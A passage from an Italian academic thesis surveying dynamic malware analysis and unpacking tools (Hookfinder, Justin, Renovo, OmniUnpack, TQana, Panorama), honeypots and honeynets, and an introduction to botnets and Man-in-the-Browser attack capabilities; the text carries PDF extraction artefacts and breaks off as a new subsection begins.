Ogni volta che il puntatore di istruzioni contiene un valore tainted, questo è un indica-
tore di un hook in esecuzione.
53
Oltre a taint-tracking, Hookfnder mantiene anche una traccia di impatto det-
tagliata. Questa traccia comprende tutte le istruzioni che coinvolgono dati tainted e
permette la ricostruzione del metodo utilizzato per fssare l'aggangio (hook) nel siste-
ma. Basato sull' impatto della traccia , Hookfnder può produrre informazioni, quali
il nome della funzione utilizzata per impiantare l'hook (ad esempio, SetWindowHoo-
kEx).
Inoltre, Hookfnder fornisce informazioni dettagliate su come il malware calco-

la l'indirizzo di un puntatore alla funzione da sovrascrivere.
Tali informazioni includono l'interrogazione di strutture di dati globali e attraversa-
no i loro membri fno a trovare l'indirizzo corrispondente. Hookfnder non si basa su
alcuna conoscenza a priori di come gli hook sono fssati in un sistema, quindi è in gra-
do di fornire informazioni dettagliate sulle tecniche di hooking che non sono state in-
contrate precedentemente.
Allo stesso modo come con Panorama , Hookfnder impiega un modulo del
kernel che esegue nel sistema operativo emulato per colmare il gap semantico. Que-
sto modulo è responsabile della raccolta delle informazioni di alto livello necessarie
(ad esempio, librerie caricate, attualmente in esecuzione processo, ecc) e comunicare
queste informazioni al sistema di analisi sottostante.
4.3 Trattare con Binari Packed

Questa sezione presenta gli strumenti che implementano le tecniche per in-
vertire o mitigare questi problemi che ostacolano l'analisi di binari packed.
4.3.0.1 Justin.
Justin.
Guo et al. [B-65] presentano Justin, una soluzione automatica al problema
packer. L'obiettivo principale di Justin è quello di invertire la compressione del mal-
ware in uno stato in cui un comune motore AV signature-based sia in grado di rile-
vare la minaccia.
Justin si basa sull'idea che dopo che la routine unpacker è completata, una co-
pia del malware originale è presente nello spazio di memoria del processo. Per appli-
care con successo uno scanner AV basato sulla frma , devono essere soddisfatte due
condizioni:
54
(1) L'indirizzo dello spazio layout del programma incorporato all'interno di un bina-
rio compresso dopo la decompressione è lo stesso di quello del programma che viene
direttamente caricato in memoria, e (2) l' unpacker decomprime il programma com-
pletamente integrato prima di trasferire il controllo ad esso.
Requisito (1) i risultati degli scanner AV che si basano sul layout di memoria
di un binario di solito sono soddisfatti da routine di unpacking, poiché la maggior
parte degli eseguibili originali si basano su un layout di memoria nonchanging (cioè,
non sono indipendenti dalla posizione).
Requisito (2) è soddisfatto anche da molte routine di unpacking.

Intuitivamente, prende in considerazione un programma di software del quale la rou-
tine di decompressione non spacchetta tutto il binario originale in una sola volta. Ciò
richiederebbe che, al momento della generazione del binario compresso, il packer deb-
ba smontare la destinazione del binario e inserire istruzioni che richiamano la routine
unpacker al momento dell'esecuzione. Se tale operazione non viene generata sul limite
dell' istruzione (cioè, in parte sovrascrivendo istruzioni esistenti) la chiamata non vie-
ne eseguita dalla CPU. Così, il resto del binario non sarà decompresso e l'esecuzione
molto probabilmente terminerà in modo anomalo.
Poiché questo processo non è banale da implementare e non è garantito il fun-

zionamento con i binari arbitrari, i programmi packer oggi non possono attuare tali
tecniche. Tuttavia, se gli autori di malware avessero creato i loro binari in un modo
tale da permettere ad un software di eseguire tali modifche, (ad esempio, fornendo
callback a una routine di decompressione) tale assunzione (2) non avrebbe retto.
La sfda principale per Justin sta nel riconoscere la fne di esecuzione del meto-
do unpacker, che è identico a rilevare l'inizio di esecuzione del codice originale. Sono
introdotti tre metodi differenti per rilevare la fne di esecuzione del metodo unpacker.
Poiché il binario originale viene ricostruito in memoria prima dell'esecuzione, un me-
todo è basato sulla rilevazione del trasferimento del fusso di controllo per una pagi-
na di memoria creata o modifcata dinamicamente . Inoltre, i programmi packed non
dovrebbero comprendere il fatto che sono stati decompressi prima dell'esecuzione .
Pertanto, il secondo metodo si basa sul presupposto che lo stack di un binario decom-
presso dovrebbe essere simile allo stack di una versione completa appena caricata di
programma. Il terzo metodo si basa sul presupposto che una decompressione avve-
55
nuta con successo porta alla corretta impostazione degli argomenti della riga di co -
mando al programma originale sullo stack.
Per rilevare l'esecuzione di codice creato in modo dinamico, Justin applica la

tecnica in precedenza (cioè, W ù X pagina protezioni). Una volta che questo viene ri-
levato, l'immagine della memoria viene analizzata dallo scanner AV per controllare
eventuali minacce conosciute nel binario decompresso.
Per aggirare gli eventuali problemi che potrebbero sorgere quando il binario
tenta di modifcare le impostazioni di pagina di protezione, Justin registra i cambia-
menti, ma mantiene le proprie impostazioni a posto. Quando il binario interroga i
fag di protezione, Justin riporta le informazioni registrate, se presenti.
4.3.0.2 Renovo.
Kang et al. [B-66] propongono Renovo come una soluzione dinamica al problema pac-
ker che estrae automaticamente il codice nascosto di un fle eseguibile.
Gli autori sostengono che si tratta di una caratteristica intrinseca di program-

mi packed che il codice originale verrà generato e eseguito in modo dinamico, non im-
porta quale software di compressione sia stato utilizzato. Renovo è in grado di rico-
struire una rappresentazione dettagliata del binario originale (cioè, il codice binario).
Inoltre, Renovo produce informazioni utili, come ad esempio il punto di ingresso ori-
ginale.
Per ricostruire il codice nascosto che viene ripristinato con un metodo unpac-
ker, Renovo applica tecniche di emulazione dell'intero sistema per monitorare l'ese-
cuzione. Oltre a gestire la memoria di sistema del sistema emulato, Renovo gestisce
anche una memoria ombra che tiene traccia della memoria a accessi in scrittura a li-
vello di byte.
Questa memoria ombra mantiene un fag per ogni byte, indica se il byte in
memoria è stato scritto o no. Inizialmente, tutti i fag nella memoria ombra vengono
cancellati. Ogni scrittura dei programmi analizzati segna i fag dei byte interessati
come sporchi 'dirty'. Se l'istruzione attualmente eseguita (puntata dal puntatore di
istruzione) è contrassegnata come sporca, il sistema identifca l'esecuzione di un'i -
struzione generata dinamicamente. A questo punto, il sistema ha rilevato un livello
56
nascosto. Il codice nascosto e i dati sono identifcati come il contenuto della memoria
scritta, e il punto di ingresso originale è dato dal valore del puntatore di istruzioni.
Gli autori sostengono che il malware può applicare più strati di packer a compli-
care ulteriormente l'analisi. Per ovviare a questo, Renovo memorizza i dati raccolti e
azzera i bit sporchi della memoria ombra dopo che viene scoperti un livello nascosto,
ripetendo l'intero processo, se necessario. La tecnica per rilevare l'esecuzione del codi-
ce generato dinamicamente è simile alla tecnica applicata da Justin . Tuttavia, mante-
nere le informazioni in una memoria ombra nell'emulatore libera gli autori di Reno-
vo dal compito di mascherare il sistema al malware che modifca e verifca le imposta-
zioni di pagina di protezione.
Renovo è implementato in un emulatore dell'intero sistema. Come già menzio-

nato , tali sistemi hanno solo accesso allo stato hardware del sistema emulato. Dal
momento che Renovo si propone di analizzare i processi singoli, deve essere colmato
il gap semantico tra la vista dell'hardware e il concetto di sistema operativo di un pro-
cesso. Questo compito viene eseguito da un modulo kernel installato nel sistema
emulato, il cui compito è quello di identifcare i processi appena creati e il caricamen-
to di librerie. Il caricamento delle librerie è importante in quanto il caricatore dei mo-
duli può decidere di mappare la DLL per un'area di memoria che contiene byte se-
gnati sporchi, che non sono più utilizzati dal programma. Per escludere la falsa im-
pressione che il modulo contenga istruzioni con l'etichetta sporca, le etichette delle re-
gioni di memoria occupate da un modulo vengono cancellate non appena questo è ca-
ricato.
4.3.0.3 OmniUnpack.
Martignoni et al. [B-67] hanno progettato un quadro per invertire la compressione di
binari ed esegue uno scanner antivirus off-the-shelf sul codice recuperato.
OmniUnpack è implementato come una soluzione per Windows XP, e l'analisi

si concentra su un singolo binario packed. Gli autori sostengono che la routine di de-
compressione di un software crea il codice originale del binario in memoria prima di
eseguirlo. Una volta che è stato osservato dal sistema questo comportamento, uno
scanner antivirus viene utilizzato per verifcare se il codice appena generato contiene
eventuali modelli dannosi conosciuti.
57
Allo stesso modo come con Justin e Renovo, OmniUnpack rileva l'esecuzione
di codice generato dinamicamente implementando la tecnica di rilevazione di cui al
punto 3.3.6.4, seguendo lo schema di protezione di pagina della memoria Wù X.
In contrasto con gli strumenti di cui sopra, tuttavia, OmniUnpack cerca di evi-
tare l'esecuzione dello scanner antivirus ad ogni rilevamento di un caso del genere. A
tal fne, OmniUnpack sfrutta l'osservazione che il codice maligno può interessare
solo il sistema operativo sottostante attraverso l'interfaccia delle chiamate di sistema.
Pertanto, OmniUnpack defnisce un insieme di chiamate di sistema "pericolose" (ad
esempio, operazioni di scrittura-fle/registro/rete/creazione di processo, ecc.) Una
volta che tale chiamata di sistema pericolosa viene richiamata, il sistema esamina l'in-
sieme di pagine modifcate ed eseguite e invoca lo scanner AV su queste aree di me-
moria. Far rispettare la politica di protezione di pagina e la gestione dei gruppi di
pagine scritte e scritte/eseguite viene realizzata da un componente in modalità ker-
nel. Le informazioni raccolte sono trasmesse al motore AV in esecuzione in spazio
utente non appena una chiamata di sistema pericolosa viene richiamato dal program-
ma.
L'utilizzo di uno scanner AV per la scansione di regioni di memoria di un

processo in esecuzione invece della scansione dei fle non in linea, introduce una se-
rie di restrizioni sulle frme utilizzate. Per esempio, le frme devono caratterizzare
quelle parti del malware che deve essere presente nella memoria quando viene richia-
mata la chiamata di sistema pericolosa. Inoltre, la frma deve caratterizzare la versio-
ne decompressa (originale) del malware.
4.3.0.4 Analisi Spyware.

Con spyware ci si riferisce a campioni di malware che raccolgono informazio-
ni sensibili dal computer infetto e trasferiscono queste informazioni all'attaccante.
Questa sezione approfondisce gli strumenti di analisi, studiati appositamente per
analizzare tali componenti spyware.
4.3.0.5 Behavior-Based.
Sistema di rilevamento spyware. Kirda et al. [2006] propone un sistema ibrido tra analisi di-
namica e statica per identifcare violazioni della sicurezza dello spyware.
58
Il sistema si concentra sullo spyware che si presenta come un plugin per

Microsoft Internet Explorer, sia come browser helper object (BHO) o come una barra
degli strumenti. La raccolta di informazioni sensibili da un browser Web ha senso per
un attaccante, in quanto questa è l'applicazione da cui si possono raccogliere in linea
dettagli del conto bancario per poter effettuare transazioni false, o recuperare un elen-
co di pagine Web visitate per fornire pubblicità personalizzate per attirare gli utenti
in acquisti insidiose. Il modo migliore per BHO e barre degli strumenti per recuperare
le informazioni dal browser è mediante la sottoscrizione di eventi del suo navigatore.
Questi eventi vengono generati, per esempio, quando l'utente passa a un nuo-
vo URL facendo clic su un link, o quando una pagina web ha fnito il download e il
rendering. Altri eventi indicano che un messaggio è stato inviato e consente la raccol-
ta di credenziali di accesso.
Basandosi sull'osservazione che un componente spyware deve utilizzare servi-

zi di sistema per far trapelare le informazioni raccolte dal processo (ad esempio, la
scrittura su un fle o inviare tramite una connessione di rete), gli autori propongono il
seguente approccio rilevamento.
Un componente è spyware se (1) controlla il comportamento degli utenti, inte-

ragendo con il Web browser, e (2) le chiamate invocate dalle API Windows possono
potenzialmente perdere informazioni su questo comportamento.
La metodologia ibrida di analisi applica tecniche di analisi dinamica per

identifcare il gestore di eventi richiamati come reazione agli eventi del browser. Esso
utilizza metodi di analisi statica per analizzare il gestore di routines. Il sistema è im -
plementato come un'applicazione che fornisce tutte le interfacce necessarie per attira-
re un BHO a credere che è in esecuzione all'interno di Internet Explorer. Una volta
che il componente registra i gestori di eventi, una serie di eventi vengono simulati, e
le reazioni dei componenti sono monitorate. Ogni gestore di eventi invocato è con-
trollato staticamente controllato per verifcare se include le chiamate API di Windows
che permettono di inserire informazioni da rilevare all'attaccante. Se viene identifca-
ta un tale chiamata di sistema, il componente è classifcato come dannoso.
4.3.0.6 TQana.
Il sistema presentato da Egele et al. [2007] è in grado di analizzare in modo dinamico
lo spyware che viene installato come un plugin nel browser di Microsoft Internet Explorer.
59
Gli oggetti browser helper (BHO), sono al centro di una grande varietà di
software dannoso che compromette la sicurezza del sistema di un utente. Estenden-
do il Qemu [Bellard 2005] emulatore completo con capacità di emulare informazioni
di fusso, TQana è in grado di tracciare la propagazione dei dati sensibili attraverso il
sistema. Etichette taint vengono introdotte nel sistema attraverso l'evento Navigate
del browser Web, che parte ogni volta che il browser è incaricato di visitare una nuo-
va posizione facendo clic su un collegamento, la selezione di un segnalibro, o di en-
trare in un nuovo URL nella barra degli indirizzi. Inoltre, i contenuti della pagina re-
cuperati dal browser Web sono viziati. Implementando taint-sicks scrivendo sopra
('cover-write') sul fle system o sul Registro di sistema, l'invio dei dati alterati attra-
verso la rete e la scrittura di dati tainted alle regioni di memoria condivisa. TQana ap-
plica il monitoraggio della marcatura di dipendenze dei dati, le dipendenze di indi-
rizzo, nonché di alcune dipendenze di controllo del fusso. Il sistema di tracciamento
taint implementato associa etichette con ogni byte marcato, quindi, identifca l'origi-
ne. Inoltre, un fag di stato è associato ad ogni byte, che indica se il byte è stato tocca-
to dalla componente in analisi. Questa distinzione è fondamentale, come illustrato
dal seguente esempio.
La parte host dell'URL immesso è un dato tainted, ma non costituisce un ri-

schio per la sicurezza se il sistema operativo trasmette i dati come parte di una richie-
sta DNS per risolvere il nome host con l'indirizzo IP corrispondente. Se la stessa in-
formazione è trasmessa dal componente sotto analisi a un server remoto, tuttavia,
questo dovrebbe essere contrassegnato come una possibile violazione della sicurez-
za. Per questa distinzione da effettuare, gli autori introducono il concetto di "istruzio-
ni eseguite a nome del BHO."
Un'istruzione è considerata eseguita a nome del BHO se è presente nel bina-

rio BHO, creata dinamicamente dal BHO, o parte di una funzione invocata da tali
istruzioni. Per determinare se una funzione è stata invocata dal BHO, il sistema tiene
traccia dello stack di chiamate a tutte le chiamate di funzione. Un'istruzione chiamata
dalla BHO fssa un limite sul puntatore dello stack, e tutte le istruzioni sono conside -
rate eseguite per conto del BHO fntanto che il frame di chiamata è nello stack. Ogni
volta che i dati sono contrassegnati come "elaborati dal BHO" raggiungono un: taint-
sink, viene registrata una possibile violazione della sicurezza .
Oltre a marcare il monitoraggio, il sistema implementa anche API e chiamate

di sistema di aggancio. Inoltre, TQana monitora le chiamate al sottosistema Compo-
60
nent Object Model (COM) di Windows. Tutte le attività di analisi sono eseguite esclu-
sivamente dall'esterno del sistema emulato, e, quindi, devono colmare il gap semanti-
co tra la vista a livello di hardware dell'emulatore e il funzionamento dei processi di
sistema, thread, e la memoria virtuale. L'aggancio è implementato monitorando il
puntatore all'istruzione e confrontando il valore ai punti di entrata della funzione. Se
c'è una corrispondenza, la funzione di hook viene eseguita nell'emulatore e raccoglie le
informazioni richieste dalla memoria del sistema emulato.
Al fne di estrarre informazioni sui processi e thread, le strutture di memoria

corrispondenti vengono analizzate dal sistema. Allo stesso modo, la lista dei moduli
caricati per ogni processo viene recuperata elaborando le rispettive strutture di dati.
Durante l'analisi di un campione, uno script AutoIt [Bennett] emula interazione del-
l'utente nel sistema guest , come visitare le pagine web e la compilazione di moduli
Web.
Eseguendo il taint-tracking sulla memoria fsica, tutti i processi in esecuzione

possono essere monitorati contemporaneamente. Ciò fornisce implicitamente gli stru-
menti per monitorare i trasferimenti di informazioni tra processi tramite memoria
condivisa o altri meccanismi di comunicazione tra processi.
L'esecuzione di tutte le fasi di analisi necessarie al di fuori del sistema emulato

permette di effettuare il monitoraggio di TQana in modo nascosto, perché, al contra-
rio di Panorama e Renovo, non è richiesto alcun componente in modalità kernel del
sistema guest. Tuttavia, seguire questo metodo richiede adattamento al sistema ope-
rativo guest emulato.
Per leggere le informazioni necessarie dalla memoria emulata, il sistema deve recupe-
rare in memoria le strutture del sistema ospite, che è garantito restino stabili nelle va-
rie versioni del sistema operativo o service pack.
4.3.1 Panorama.
Un sistema in grado di catturare il fusso di informazioni a livello di sistema è presentato da
Yin et al. [2007]. Le informazioni risultanti dovrebbero dare ad un analista una vista detta-
gliata di come un programma collaudato interagisce con le informazioni sensibili, consentendo
in tal modo all'analista di valutare le intenzioni di questo programma.
61
Per sostenere questo metodo, gli autori implementato un sistema di informa-
zione a fusso dinamico che applica i dati e l'indirizzo tainting. Le fonti taint basate
sull'input dalla tastiera, la rete, o il disco rigido sono responsabili per l'introduzione
delle etichette taint sul sistema. Panorama non comprende taint sink dedicati, ma
crea un grafco di marcatura (taint) durante l'analisi del programma sospetto.
Il sistema utilizza una versione modifcata di un emulatore dell'intero sistema

Qemu per eseguire il taint tracking . Il grafco creato viene arricchito con informazioni
di alto livello come i processi che accedono ai dati o connessioni di rete che corri-
spondono ad un certo payload dei pacchetti.
Al fne di colmare il gap semantico tra la vista del sistema operativo di alto li-
vello e lo stato dell'hardware raggiungibile tramite l'emulatore, si applicano le se-
guenti tecniche. Panorama conosce per ogni istruzione quale processo sta eseguendo
e quale modulo (ad esempio, libreria dinamica) è l'origine di questa istruzione. Allo
stesso modo come con Renovo (), questo è realizzato da un componente in modalità
kernel in esecuzione nell'ambiente emulato che controlla la creazione di processo e la
libreria di caricamento, e comunica queste informazioni dal sistema operativo guest
emulato. La correlazione tra i settori del disco rigido emulato e la nozione astratta di
un fle nel sistema emulato è realizzata dallo strumento forense The Sleuth Kit [Car-
rier].
Per le connessioni di rete, le intestazioni dei pacchetti IP inviati vengono esa-

minati e la correlazione è stabilita sulla base di connessioni virtuali (ad esempio, gli
indirizzi di origine / destinazione e numeri di porta / servizio). Con queste informa-
zioni dettagliate, Panorama costruisce un grafco di marcatura durante l'analisi del
campione analizzato. Il grafco delle marcature è una rappresentazione dei processi e
dei moduli che operano sui dati alterati.
Durante l'analisi, un insieme di test vengono eseguiti introducendo dati sen-

sibili sul sistema, Panorama controllerà il comportamento del componente in esame,
così come il resto del sistema per quanto riguarda questi dati. Questi input, tra gli al-
tri, includono le password, il testo comune, e il traffco di rete. Tutti i test sono pro -
gettati per alimentare i dati come input per noti processi benigni, come ad esempio
un editor di testo o campi modulo di una pagina web.
In molti casi, non c'è motivo per un componente di accedere a questi dati. Gli
autori introducono tre politiche che vengono valutate sul grafco delle marcature per
62
determinare se il campione analizzato si comporta intenzionalmente in modo malevo-

lo.
(1) il comportamento anomalo sull'accesso ad informazioni defnisce che un compo-
nente analizzato non dovrebbe toccare i dati etichettati (ad esempio, le password di
accesso).
(2) il comportamento anomalo che permette la fuga di informazioni mentre un plu-
gin del browser che consente di accedere alle URL defnisce che un utente sta navi-
gando non è dannoso per sé, ma la perdita di tali informazioni (ad esempio, su disco
o di una connessione di rete), manifesta chiaramente il comportamento malevolo.
(3) il comportamento di accesso eccessivo alle informazioni esibito dai rootkit che na-
scondono i fles, dal momento che devono controllare e disinfettare fles e directory
ogni volta che viene richiesto tale elenco.
4.4 HoneyNet
Abbiamo inserito questo paragrafo negli strumenti di analisi del malware an-
che se come defnizione ad honeynet si attaglia meglio la parola strategia. Questa è
infatti una strategia fnalizzata ad incoraggiare e a favorire una compromissione di
un sistema trappola predisposto per attirare un attacco esterno perpetrato attraverso
diversi vettori, automatici e non . Una honeynet è una rete di computer-esca (honey-
pot), volontariamente resi insicuri abbassando tutte le relative protezioni di sicurezza,
ed esposti alla rete pubblica.
La concezione di “honeynet” è stata ideata dal fondatore di “The Honeynet
Project”, Lance Spitzner [23] .
“Dal suo blog Spitzer spiega come Honeypot siano stati utilizzati attivamente
dalla comunità di sicurezza per oltre dieci anni. Utilizzati per una varietà di scopi,
principalmente per la raccolta di informazioni, nonostante abbiano generato una
grande quantità di discussione su questioni legali. I maggior vendor utilizzano questa
strategia per tenere in sicurezza internet (come ad esempio Symantec, McAfee, Web-
sense, Sophos) e molti Enti Certifcatori . Gli aggressori informatici devono lavorare
attivamente sugli honeypot di propria iniziativa, e poi rompere nei sistemi. Si tratta
di sistemi che non hanno alcun valore della produzione, nessuno dovrebbe interagire
con essi. Inoltre, questi sistemi non hanno account aperti, l'unico modo possibile per
accedervi è appunto quello di rompere il sistema. Infne, nessun reale monitoraggio
avviene fno a quando l'attaccante non entra nel honeypot e la raccolta dati completa
è successiva a tale evento.”
63
Il valore primario di un honeypot è l'informazione che esso dà sulla natura e
la frequenza di eventuali attacchi subiti dalla rete. Gli honeypot non contengono in-
formazioni reali e quindi non dovrebbero essere coinvolti da nessuna attività; rileva-
zioni in senso opposto possono rivelare intrusioni non autorizzate o malevole in cor-
so.Gli honeypot possono portare dei rischi ad una rete, e devono essere gestiti con at-
tenzione, un attaccante potrebbe usarli per entrare in altri sistemi.
Gli honeypot si dividono in Alta interazione e Bassa interazione.

Un honeypot di alta interazione, è un sistema informatico messo completamente a
disposizione dell’attaccante, che dopo averlo compromesso, può usufruire libera-
mente di tutte le sue risorse. Questa soluzione richiede quindi la disponibilità di un
intero computer. Un esempio di honeypot ad alta interazione è Honeynet.
Siccome la manutenzione di un’intero computer è una richiesta onerosa sia in termini
di tempo che di risorse a disposizione, le honeypot di bassa interazione si basano in-
vece sull’emulazione di singoli servizi vulnerabili. Questa strategia permette di pre-
disporre decine di implementazioni sulla stessa macchina, garantendo un basso con-
sumo complessivo delle risorse a disposizione.
Gli honeypot di bassa interazione virtualizzano servizi vulnerabili come ad esempio
vecchie versioni dei servizi Windows RPC o NetBIOS, ed emulano quanto basta per
permettere il download del malware richiesto dal vettore di attacco. Poiché non sono
dei servizi veri e propri, sono destinati a catturare attacchi attuati da worm automati-
ci, o altri malware che si auto propagano. Nel caso in cui un attaccante umano intera-
gisse con questi servizi, si accorgerebbe immediatamente di trovarsi di fronte ad un
honeypot. Questa strategia può essere utilizzata anche su veri siti web o chatroom, il
cui scopo è di fermare utenti con intenti criminali.
Sul sito HoneyNet [23] tra gli strumenti open messi a disposizione vi è un intres-
sante strumento per “catturare ” siti web maligni: Capture-HPC Client Honeypot
/HoneyClient [24] .
Capture è un client honeypot ad alta interazione (chiamato anche honey-
client). Un honeyclient è una tecnologia di sicurezza che permette di trovare i server
malevoli su una rete. Cattura e identifca i server maligni attraverso l'interazione con
i server potenzialmente dannosi utilizzando una macchina virtuale dedicata e osser-
vando i suoi cambiamenti di stato del sistema. Se viene rilevato un cambiamento di
stato del sistema, dal momento che nessun altra attività avviene sulla macchina client
dedicata, il server Capture se interagisce non è classifcato come dannoso.
The Dorothy Project [B-79] implementa la tecnologia degli honeypot a bassa
64
interazione per compiere l’attività di acquisizione malware. E' un progetto che punta
alla realizzazione di una piattaforma automatica per l’analisi delle botnet in tempo
reale. Dorothy è il nome del software realizzato per adempiere a questo scopo. Il soft-
ware, come tutto il progetto, è open-source, qualsiasi persona interessata potrà libera-
mente scaricare tutto il necessario per apportare il suo contributo al progetto. Uno dei
punti forza di Dorothy è la visualizzazione dei dati acquisiti delle sue analisi attraver-
so una serie di grafci generati dinamicamente ogni 30 minuti. In questa maniera è
possibile avere una panoramica grafca sulla situazione corrente dei dati processati da
Dorothy. Generare una quadro completo riguardo alle analisi correnti è necessario
per studiare le botnet in quanto si tratta di un fenomeno che muta le sua caratteristi-
che giornalmente in maniera imprevedibile. Come si legge sul sito realizzato da Mar-
co Cremoni ed al. [B-79] dal 2009 è stato dato il via al "Il progetto Dorothy" divenuto
uffcialmente "Il Capitolo italiano Honeynet" .
65
5 Approfondimento sulle Botnet
Una delle più grandi minacce per l'internet è la presenza di grandi squadre di
computer compromessi, noti anche come botnet, esercito di zombie (bot, droni) , collo-
cati in case, scuole, aziende e governi di tutto il mondo. Sotto il controllo di un singo-
lo (o di un piccolo gruppo di) hacker, comunemente conosciuti come un botmaster, le
botnet sono spesso utilizzate per condurre vari attacchi, che vanno da attacchi Distri-
buted Denial-of-Service (DDoS), ad attacchi a e-mail tramite spamming, keylogging, clic
fraudolenti, e per diffondere nuovo malware. A differenza di altri tipi di attacchi, le
botnet che possono essere composte da migliaia di host compromessi in grado di as-
semblare una enorme quantità di potenza di calcolo aggregata , possono eseguire
una serie di attacchi contro un'ampia gamma di obiettivi. Per esempio, un botmaster
può comandare ogni partecipante zombie in una botnet al fne di lanciare email spam ,
effettuare una sorta di furto di carte di credito (raccolte da keylogger installati di na-
scosto ), e lanciare attacchi DDoS simultaneamente contro migliaia di host del com -
puter. A causa di questo, gli hacker sono sempre più interessati a utilizzare le botnet
per lanciare attacchi per massimizzare i loro guadagni fnanziari. Allo stesso tempo,
il grado di distruzione causata dagli hacker utilizzando attacchi botnet è centinaia di
volte più grande degli attacchi discreti tradizionali. Dal momento che la comparsa di
botnet, nuovi e sofsticati moduli software sono stati aggiunti negli strumenti botnet
esistenti ogni giorno, offrendo una varietà di modi per compromettere i computer e
lanciare attacchi potenzialmente molto più pericolosi.
5.1 Introduzione e descrizione

L'esistenza di botnet non è iniziata molto tempo fa - il primo botnet, l'worm
PrettyPark , è apparso nel 1999. L' worm PrettyPark conteneva una serie limitata di
funzioni, come ad esempio la possibilità di connettersi a un server IRC remoto [B-85],
recuperare le informazioni di sistema di base (ad esempio, le versioni del sistema
operativo) e recuperare i nomi di login, indirizzi e-mail, nickname, ecc .
A causa della sua capacità d'attacco limitata, PrettyPark non era nocivo come
altri worm che ne seguirono. Una differenza fondamentale tra PrettyPark e worm pre-
cedenti è che faceva uso di IRC come mezzo per consentire ad un botmaster di con-
66
5. Approfondimento sulle Botnet
trollare a distanza un ampio pool di host compromessi. La sua idea rivoluzionaria di

usare IRC come metodo discreto ed estendibile per server di comando e controllo (C
& C) è stato presto adottato dalla comunità black hat. Nel giro di pochi anni, la tecno-
logia di utilizzazione IRC per controllare un pool di host compromessi è stata miglio-
rata e perfezionata. Da quando un numero di botnet più sofsticate è entrato in azione
- con gli esempi più famigerati Agobot e SDBot le botnet hanno cominciato ad esten-
dere le funzioni di base dei loro predecessori in modo più sofsticato e robusto, e così
come hanno iniziato a integrare nuovi e diversi metodi di attacco supplementari.
La nuova generazione di botnet è diventata molto potente con strumenti ido-

nei alla costruzione di grandi eserciti di computer per imporre una enorme poten-
ziale minaccia su Internet. In parallelo con lo sviluppo del botnet, la motivazione degli
attacchi su Internet ha cominciato a spostarsi verso il proftto, da quello che inizial-
mente era solo una ricerca di riconoscimento. Gli hacker sono sempre più interessati a
attacchi guidate dal proftto, quali Distributed Denial-of-Service (DDoS) estorsione,
spam, phishing e il furto di identità. Gli elementi criminali in Internet hanno compreso
rapidamente l'enorme vantaggio di lanciare questi attacchi che utilizzano botnet - cioè,
poter lanciare attacchi che sono centinaia di volte più potente di prima. A causa degli
enormi incentivi fnanziari, sono stati sviluppate botnet nuove e/o personalizzate sul-
la base della conoscenza ottenuta dai loro predecessori. Di conseguenza, il numero di
botnet ha iniziato a esplodere. Solo per SDBot, ci sono stati circa 4000 varianti come di
agosto 2004.
L'attuale generazione di botnet sfrutta sistemi di comando e controllo abba-

stanza complessi integrati con molti potenti strumenti di attacco. Si propagano come
worm, si nascondono come virus, e possono lanciare grandi attacchi coordinati dal bot-
master all'interno del sistema di C & C incorporato. Ad esempio, botnet possono pro-
pagarsi con una reti-condivise, piattaforme di fle-sharing, reti P2P (Peer-to-Peer) e / o
backdoor predisposte da precedenti worm e sfruttando le vulnerabilità comuni di
Windows . Le botnet comunicano con gli altri utilizzando IRC, HTTP, P2P, e utilizzan-
do anche altri canali di comunicazione creativa. Almeno uno studio [Barford et al.]
mostra che alcune pratiche di ingegneria del software di uso comune (per esempio,
modularità) sono stati ampiamente adottati nella progettazione e realizzazione di bot-
net. I nuovi strumenti di attacco (ad esempio, scanner, exploit remoti di vulnerabilità
note) possono essere facilmente e rapidamente incorporati nelle botnet esistenti una
volta che gli strumenti sono disponibili.
67
E 'importante notare come sia poco chiara la distinzione tra virus e worm (lega-
ti alla diffusione delle botnet) . Gli worm sono infatti virus in quanto compromettono
gli host e si nascondono dal rilevamento. La differenza principale tra worm e le va-
rianti precedenti di virus informatici generici è che, mentre i primi virus erano propa-
gati attraverso la replica tramite l'esecuzione di fle, gli worm si propagano attraverso
Internet da host-a-host , la propagazione di un worm può essere automatizzata trami-
te link di malware di ingegneria sociale incorporati nelle e-mail che sfruttano vulnera-
bilità note in remoto su un computer. Inoltre, le botnet sono worm/botnet perché si
propagano automaticamente su Internet. La differenza fondamentale tra le botnet e i
primi campioni di worm è che botnet specifche incorporano vari meccanismi che con-
sentono ai loro padroni di controllare un pool di host compromessi in modo coordi-
nato. Consideriamo inoltre che per accedere ai sistemi sono utilizzati trojan per il na-
scondimento delle azioni di accesso ai sistemi della botnet. (Da fonte Karpesky [1] le botnet
che tratteremo nei paragraf sottostanti sono defnite, a seconda del comportamento, trojan o bakdoor).
La realtà dei fatti ci dice però che, al di là del veicolo malware utilizzato ,
quando su un sistema operativo si è installato un bot qualsiasi programma può essere
veicolato sull'ospite. Ad esempio un programma nocivo è rappresentato dal famige-
rato TDSS [49], un rootkit in grado di convogliare verso il computer infetto pericolosi
ed insidiosi malware, quali trojan-banker, dns-changer e falsi antivirus.
5.1.1 Classificare le Botnet come attacchi MITB
Dougan T. e Curran K. [B-70] classifcano le nuove botnet come attacchi del

tipo Man-In-The-Browser (Sez. n. 2.3.2.1) . Essi analizzano tre delle più attive ed inte-
ressanti : URLzone, Torping, Zbot (Zeus), individuando le caratteristiche salienti ed
il potenziale sviluppato quando i loro processi “agenti” riescono a “nascondersi” nei
sistemi vittima e a interagire con la struttura realizzata dai loro botmaster.
Essi astraggono cinque abilità di MITB che vengono individuate negli attac-
chi delle tre botnet (defnite anche trojan) studiate:
• 1- Rubare dati
Il controllo di MITB sopra il browser dà la capacità di raccogliere informazioni sia passiva
mente per keylogging che attivamente per phishing.
• 2- Modifcare le pagine Html
Permette all'attaccante di modifcare il codice html di una pagina prima che sia inviata al brow -
ser di interpretazione. Tipicamente, questo potrebbe essere utilizzato in due modi - in primo
luogo, per aggiungere campi di immissione dati aggiuntivi che spingono l'utente a inserire le
68
informazioni private in eccesso rispetto a quanto è normalmente richiesto da una pagina, e in

secondo luogo per modifcare le risposte del server.
• 3- Modifcare i dati in uscita
Ha un livello di accesso che permette anche di manomettere i dati del modulo in uscita. Questo
consente varie azioni fraudolente (di solito nel contesto di internet banking ).
• 4- Scegliere gli obiettivi
Attacchi mirati verso domini che vengono scelti per il loro interesse , e questa
individuazione della frode da attuare permette di adattare gli attacchi alle
specifche di ciascun dominio scelto e di prelevare solo i dati necessari e non
superfui.
• 5- Comunicare con il C&C (Quartier Generale)
Designazione di un server di comando per il recupero dei dati inoltrati, per
aggiornare gli script infetti del worm/trojan, miglioramento del campo di azione,
predisposizione di pagine di “phishing” più elaborate.
Vediamo come sono applicate queste abilità sul campo:
